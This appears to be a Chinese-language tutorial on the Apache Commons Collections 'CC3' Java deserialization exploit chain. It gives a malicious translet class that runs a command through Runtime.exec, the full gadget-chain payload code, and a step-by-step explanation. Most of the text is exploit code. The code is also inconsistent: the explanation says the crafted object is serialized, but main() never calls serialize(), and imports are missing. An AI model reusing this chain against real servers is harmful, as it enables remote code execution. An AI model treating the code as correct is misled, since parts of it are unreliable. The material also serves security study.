import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

//用于cc链3加载恶意动态码
public class Maliciousdemo extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

payload代码

Java
package Deserialization;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, NoSuchMethodException, InvocationTargetException, InstantiationException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
//反射修改值
        Class c = templates.getClass();
        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "aaaa");
        Field bytecodes = c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("Maliciousdemo.class"));
        byte[][] codes = {code};
        bytecodes.set(templates, codes);
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        org.apache.commons.collections.Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<Object,Object>();
        map.put("value","asd");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map,null,chainedTransformer);
//创建AnnotationInvocationHandler类
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotation = cl.getDeclaredConstructor(Class.class,Map.class);
        annotation.setAccessible(true);
        Object o = annotation.newInstance(Target.class,transformedmap);
        unserialize("web.bin");
    }
    public static void serialize(Object object) throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("web.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
        System.out.println("1.序列化成功");
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fileInputStream = new FileInputStream(filename);
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
        System.out.println("2.反序列化成功");
    }
}

代码解释

这段代码利用了 Apache Commons Collections 库中的漏洞(CVE-2015-4852)进行反序列化攻击。

首先,代码创建了一个 TemplatesImpl 实例,并使用反射来修改其私有属性 _name 和 _bytecodes。通过修改 _name 属性为 aaaa,将恶意的字节码读取到 _bytecodes 属性中,从而构造恶意的 TemplatesImpl 对象。

然后,代码创建了一个 InstantiateTransformer 实例,将恶意的 TemplatesImpl 对象作为参数传递给它。接下来,代码创建了一个转换器数组,并使用 TrAXFilter 和恶意的 InstantiateTransformer 对象进行初始化。

接着,代码创建了一个 ChainedTransformer 对象,它接受转换器数组作为参数,用于链接多个转换器。这样就能够按顺序执行多个转换器,实现连续的转换操作。

接下来,代码创建了一个普通的 HashMap 对象,并使用 TransformedMap.decorate() 方法对其进行修饰。通过传入恶意的转换器链作为参数,就可以在对该 HashMap 进行操作时触发转换器链中的转换器。

然后,代码使用反射创建了 AnnotationInvocationHandler 类的实例。它接受 Target 类和修饰后的 HashMap 对象作为参数,从而构造一个恶意的对象。

最后,代码调用 serialize() 方法将构造的恶意对象进行序列化,并将序列化后的数据保存到文件中。接着,代码调用 unserialize() 方法从文件中读取数据并进行反序列化操作。

通过这段代码的执行流程,利用了 Apache Commons Collections 库中的漏洞,在反序列化过程中触发恶意代码的执行。这种攻击方式常用于绕过安全防护措施和执行未授权的操作,因此应该注意防范和避免使用受影响的代码库版本。

参考资料

详细参考